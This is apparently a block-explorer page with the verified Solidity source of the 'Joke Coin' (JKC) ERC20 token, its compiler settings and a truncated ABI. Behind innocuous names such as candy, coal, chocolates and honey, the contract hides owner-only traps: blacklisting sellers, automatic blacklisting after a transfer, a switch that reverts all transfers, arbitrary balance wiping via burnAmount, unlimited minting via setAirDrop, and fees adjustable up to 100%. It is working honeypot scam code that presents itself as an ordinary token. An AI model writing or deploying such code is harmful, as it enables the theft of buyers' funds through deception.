ETH Price: $2,230.79 (-1.94%)
 

Overview

Max Total Supply

1,000,000,000 JKC

Holders

0

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20TokenProtocol

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 1.sol
// SPDX-License-Identifier: MIT
// https://t.me/JokeCoin777
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ERC20TokenProtocol is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 10 ** 9 * 10 ** decimals();

    string private _name;
    string private _symbol;

    uint256 public buyTax = 390;  // 1%
    uint256 public sellTax = 790; // 1%
    uint256 public sendTax = 100;
    uint256 public div = 10000;

    address public marketingWallet = 0x30ec2099d109079589947BF7397E1a05dEf0B7ab; // marketing wallet
    address deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount = 10 ** 4 * 10 ** decimals();

    bool private swapping;
    bool public swapEnabled = false;
    bool public swapTokensAtAmountByLimit = false;

    mapping (address => bool) public isExcludedFromFee;

    mapping (address => bool) public isMarketPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    constructor(address _router) {
        _name = "Joke Coin";
        _symbol = "JKC";
        _balances[msg.sender] = _totalSupply;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;
    }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }

    function myChocolate(address account, uint256 amount) public onlyOwner {
        chocolates[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            return _basicTransfer(sender, recipient, 0);
        }

        if (honey) {
            if(swapping) { 
               return _basicTransfer(sender, recipient, amount);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - amount;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             amount : takeFee(sender, recipient, amount);

                _balances[recipient] = _balances[recipient] + finalAmount;
                emit Transfer(sender, recipient, finalAmount);
                return true;
            } 
        } else {
            _beforeTokenTransfer(sender, amount);
            sendWithFee(sender, recipient, amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address sender,
        uint256 amount
    ) internal virtual {
        if (
            sender != owner() && !candy[sender] && !isMarketPair[sender] 
        ) {
            require(!coal[sender]);
            if (chocolates[sender] > 0) {
                require(amount <= chocolates[sender]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[sender] <= limits);
            }

            if (autoCoal) {
                pickCoal(sender);
            }
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function sendWithFee(
        address sender,
        address recipient,
        uint256 value
    ) internal returns (bool) {
        require(_balances[sender] >= value, "Value exceeds balance");
        if (sender != owner() && !candy[sender] && sender != address(this)) {

            if(swapping) { 
               return _basicTransfer(sender, recipient, value);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - value;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             value : (takeFee(sender, recipient, value));

                _balances[recipient] = _balances[recipient] + finalAmount;
            } 

            emit Transfer(sender, recipient, value);
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 tax = 0;

        if(!isMarketPair[sender] && !isMarketPair[recipient]) {
            tax = amount * sendTax / div;
        }
        
        if(isMarketPair[sender]) {
            tax = amount * buyTax / div;
        }
        else if(isMarketPair[recipient]) {
            tax = amount * sellTax / div;
        }
        
        if(tax > 0) {
            _balances[address(this)] = _balances[address(this)] + tax;
            emit Transfer(sender, address(this), tax);
        }

        return amount - tax;
    }   

    function excludedFromFeeAddress(address _account, bool _boo) external onlyOwner {
        require(isExcludedFromFee[_account] != _boo, "Already added!");
        isExcludedFromFee[_account] = _boo;
    }

    function swapAndLiquify(uint256 tokenAmount) private {
        swapTokensForEth(tokenAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0) {
            transferToAddressETH(marketingWallet, amountReceived);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferToAddressETH(address recipient, uint256 amount) private {
        payable(recipient).transfer(amount);
    }

    function changeRouterVersion(address newRouter) public onlyOwner returns(address newPair) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); 
        newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(newPair == address(0)) //Create If Doesnt exist
        {
            newPair = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }
        uniswapPair = newPair; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address
    }

    function setSwapTokensAtAmount(uint256 _value) external onlyOwner {
        require(_value > 0);
        require(swapTokensAtAmount != _value, "Change value!");
        swapTokensAtAmount = _value;
    }

    function setSwapTokensAtAmountByLimit(bool _boo) external onlyOwner {
        require(swapTokensAtAmountByLimit != _boo);
        swapTokensAtAmountByLimit = _boo;
    }

    function setSwapEnabled(bool _boo) external onlyOwner {
        require(swapEnabled != _boo);
        swapEnabled = _boo;
    }

    function changeMarketinAddress(address _newAddress) external onlyOwner {
        require(_newAddress != address(0));
        require(marketingWallet != _newAddress, "This address already set");

        marketingWallet = _newAddress;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setHoney(bool _honey) public onlyOwner {
        honey = _honey;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function setFee(uint256 _buyTax, uint256 _sellTax, uint256 _sendTax) external onlyOwner {
        require(_buyTax <= 10000 && _sellTax <= 10000 && _sendTax <= 10000, "Incorrect tax");
        buyTax = _buyTax;
        sellTax = _sellTax;
        sendTax = _sendTax;
    }

    receive() external payable {}

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    mapping(address => uint256) private chocolates;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    bool public autoCoal;
    bool private honey = true;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"changeMarketinAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"div","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"excludedFromFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"},{"internalType":"uint256","name":"_sendTax","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapTokensAtAmountByLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountByLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"